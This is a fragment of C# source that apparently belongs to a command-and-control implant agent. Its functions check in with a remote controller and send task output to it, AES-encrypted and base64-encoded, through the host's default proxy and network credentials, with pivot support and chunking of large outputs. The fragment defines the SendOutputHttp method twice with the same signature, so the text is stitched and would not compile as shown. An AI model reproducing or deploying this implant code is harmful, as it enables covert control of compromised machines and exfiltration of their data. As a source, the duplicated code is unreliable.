//AES
public static void SendOutputHttp(string taskinstance, string output, CookiedWebClient wc, byte[] aeskey, byte[] aesiv, string rpaddress, string param, string agentid, string agentpivot = null)
{
ResponseMsg respmsg = new ResponseMsg
{
TaskInstanceid = taskinstance,
SystemInfo = GetSystemInfo(),
Chunked = false,
Agentid = agentid,
Number = 1,
Data = output
};
if (agentpivot != null)
{
respmsg.AgentPivot = agentpivot;
}
string respmsgjson = new JavaScriptSerializer().Serialize(respmsg);
//string respmsgjson = JsonConvert.SerializeObject(respmsg, Formatting.Indented);
var response = Crypto.Aes.EncryptAesMessage(respmsgjson, aeskey, aesiv);
string post = String.Format("{0}={1}", param, Convert.ToBase64String(response));
wc.UseDefaultCredentials = true;
wc.Proxy = WebRequest.DefaultWebProxy;
wc.Proxy.Credentials = CredentialCache.DefaultNetworkCredentials;
string resp = wc.UploadString(rpaddress, post);
}
//AES
public static void SendCheckinHttp(string agentid, byte[] aeskey, byte[] aesiv, string rpaddress, string param, CookiedWebClient wc)
{
//Collect system info
SystemInfo sinfo = GetSystemInfo();
CheckInMsg msg = new CheckInMsg();
msg.agentid = agentid;
msg.systeminfo = sinfo;
string checkinmsg = new JavaScriptSerializer().Serialize(msg);
//string checkinmsg = JsonConvert.SerializeObject(msg, Formatting.Indented);
var checkinmsgenc = Crypto.Aes.EncryptAesMessage(checkinmsg, aeskey, aesiv);
string post = String.Format("{0}={1}", param, Convert.ToBase64String(checkinmsgenc));
wc.UseDefaultCredentials = true;
wc.Proxy = WebRequest.DefaultWebProxy;
wc.Proxy.Credentials = CredentialCache.DefaultNetworkCredentials;
string resp = wc.UploadString(rpaddress, post);
string respjson = Crypto.Aes.DecryptAesMessage(Convert.FromBase64String(resp), aeskey, aesiv);
}
//AES
public static void SendOutputHttp(string taskinstance, string output, CookiedWebClient wc, byte[] aeskey, byte[] aesiv, string rpaddress, string param, string agentid, string agentpivot = null)
{
wc.UseDefaultCredentials = true;
wc.Proxy = WebRequest.DefaultWebProxy;
wc.Proxy.Credentials = CredentialCache.DefaultNetworkCredentials;
ResponseMsg respmsg = new ResponseMsg
{
TaskInstanceid = taskinstance,
SystemInfo = GetSystemInfo(),
Chunked = false,
Agentid = agentid,
Number = 1
};
int chunksize = 1024000;
//Response need to be splitted
if (output.Length > chunksize)
{
respmsg.Chunked = true;
}
//Chunk number
int chunknum = output.Length / chunksize;
if (output.Length % chunksize != 0)
{
chunknum++;
}
respmsg.Number = chunknum;
int iter = 0;
do
{
int remaining = output.Length - (iter * chunksize);
if (remaining > chunksize)
{
remaining = chunksize;
}
respmsg.Data = output.Substring(iter * chunksize, remaining);
string respmsgjson = new JavaScriptSerializer().Serialize(respmsg);
//string respmsgjson = JsonConvert.SerializeObject(respmsg, Formatting.Indented);
var response = Crypto.Aes.EncryptAesMessage(respmsgjson, aeskey, aesiv);
string post = String.Format("{0}={1}", param, Convert.ToBase64String(response));
string resp = wc.UploadString(rpaddress, post);
iter++;
}while (chunknum > iter);
if (respmsg.Chunked)
{
respmsg.Data = "";
respmsg.Number = 0;
string respmsgjson = new JavaScriptSerializer().Serialize(respmsg);
var response = Crypto.Aes.EncryptAesMessage(respmsgjson, aeskey, aesiv);
string post = String.Format("{0}={1}", param, Convert.ToBase64String(response));
string resp = wc.UploadString(rpaddress, post);
}
}